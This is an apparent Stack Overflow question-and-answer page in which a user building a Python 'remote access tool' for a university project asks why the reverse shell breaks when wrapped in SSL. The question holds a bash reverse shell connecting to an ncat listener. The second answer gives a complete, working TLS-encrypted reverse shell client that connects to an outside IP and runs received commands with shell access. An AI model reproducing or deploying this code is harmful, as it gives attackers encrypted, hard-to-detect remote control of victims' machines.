2

For my university project, I have to create a remote access tool with python. I can do it easily on a simple TCP socket, but when it comes to an SSL socket, I get problems.

Here is the code:

#/usr/bin/python3

import socket
import ssl
import subprocess
import os

# SET VARIABLES
HOST, PORT = '127.0.0.1', 1234

# CREATE SOCKET
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)

# WRAP SOCKET
sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)

sock.connect((HOST, PORT))
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)

p = subprocess.call(["/bin/bash", "-i"])

When I try to listen on the other side with ncat --ssl -nlvp 1234, the reverse shell connects and disconnects immediately, nothing appears; And if I remove the sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23) I get a working backdoor, but on a plain text socket.

Can anyone explain the problem to me please? And maybe give me a solution?

Peter David Carter
  • 2,548
  • 8
  • 25
  • 44
Sidahmed
  • 792
  • 1
  • 12
  • 23

2 Answers2

1

TCP is implemented in the OS kernel while SSL is implemented in user space. The file descriptor you get with fileno() is the kernel representation only. Thus your code establishes first a TCP connection (kernel space) followed by wrapping the TCP socket into SSL (user space). But after establishing the SSL connection you attempt to write directly on the TCP socket instead of wrapping the data according to the SSL protocol. This will immediately lead to invalid SSL protocol data and to connection close.

Instead you would need to create a child process and exchange the data between the parent and the child, typically via mapping stdin/stdout to pipes or a socketpair. And in the parent you can then forward the data from the child using the SSL socket and also push data to the child after reading them from the SSL socket.

To know when data are available on each of the file descriptors (i.e. SSL socket and communication with child process) you might use select. Note that you have to take special care when using select with SSL sockets too, i.e. simple select is not enough with SSL but you have to use pending.

Community
  • 1
  • 1
Steffen Ullrich
  • 114,247
  • 10
  • 131
  • 172
  • Thanks, I get the error that I am making. Is there a way to get the SSL file descriptor, so I can write in it directly with my reverse shell ?? – Sidahmed May 12 '16 at 08:39
  • @Sidahmed: again - the kernel file descriptor is the TCP socket only and the SSL is implemented in user space. There is no "SSL file descriptor" usable by a spawned process because the SSL state exists only in the different user space of the original process. – Steffen Ullrich May 12 '16 at 09:39
1

Old question but this was my solution, exactly as Steffen Ullrich said;

import os
import socket
import subprocess
import ssl

# Create a socket
def socket_create():
    try:
        global host
        global port
        global ssls
        global s
        host = '192.168.90.45'
        port = 8080
        s = socket.socket()
        ssls = ssl.wrap_socket(
            s, 
            ssl_version=ssl.PROTOCOL_TLSv1
            )
    except socket.error as msg:
        print('Socket creation error: ' + str(msg))

# Connect to a remote socket
def socket_connect():
    try:
        ssls.connect((host, port))
        ssls.send(str.encode(str(os.getcwd()) + ' > '))
    except socket.error as msg:
        print('Socket connection error: ' + str(msg))

# Receive commands from remote server and run on local machine
def receive_commands():
    while True:
        data = ssls.recv(1024)
        data = data.decode("utf-8").strip()
        print('Received: ' + data)
        if data[:2] == 'cd':
            os.chdir(data[3:])
            ssls.send(str.encode(str(os.getcwd()) + ' > '))
        elif len(data) > 0:
            cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str(output_bytes.decode("utf-8"))
            ssls.send(str.encode(output_str + str(os.getcwd()) + ' > '))
            if len(output_str.split('\n')) > 2:
                nL = 2
            else:
                nL = 0
            print('Sent: ' + nL * '\n' + output_str)
        if not data:
            break
    s.close()

def main():
    socket_create()
    socket_connect()
    receive_commands()

if __name__ == '__main__':
    main()
x3l51
  • 693
  • 4
  • 19
Chev_603
  • 313
  • 3
  • 14